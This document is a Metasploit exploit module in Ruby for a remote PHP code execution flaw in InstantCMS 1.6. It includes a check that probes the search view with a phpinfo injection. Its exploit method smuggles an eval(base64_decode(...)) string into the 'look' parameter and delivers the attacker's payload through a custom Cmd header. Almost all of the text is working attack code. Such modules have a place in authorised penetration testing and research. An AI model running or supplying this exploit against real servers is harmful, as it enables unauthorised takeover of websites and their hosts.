InstantCMS 1.6 Remote PHP Code Execution

`require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'InstantCMS 1.6 Remote PHP Code Execution',  
'Description' => %q{  
This module exploits an arbitrary php command execution vulnerability, because of a  
dangerous use of eval(), in InstantCMS versions 1.6.  
},  
'Author' =>  
[  
'AkaStep', # Vulnerability discovery and PoC  
'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'BID', '60816' ],  
[ 'URL', 'http://packetstormsecurity.com/files/122176/InstantCMS-1.6-Code-Execution.html' ]  
],  
'Privileged' => false,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'InstantCMS 1.6', { } ],  
],  
'DisclosureDate' => 'Jun 26 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"])  
], self.class)  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.to_s),  
'vars_get' =>  
{  
'view' => 'search',  
'query' => '${echo phpinfo()}'  
}  
})  
  
if res  
if res.body.match(/Build Date/)  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
else  
return Exploit::CheckCode::Unknown  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
return Exploit::CheckCode::Unknown  
end  
  
def exploit  
  
print_status("Executing payload...")  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.to_s),  
'vars_get' =>  
{  
'view' => 'search',  
'query' => rand_text_alpha(3 + rand(3)),  
'look' => "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode($_SERVER[HTTP_CMD]));//"  
},  
'headers' => {  
'Cmd' => Rex::Text.encode_base64(payload.encoded)  
}  
})  
  
end  
end  
`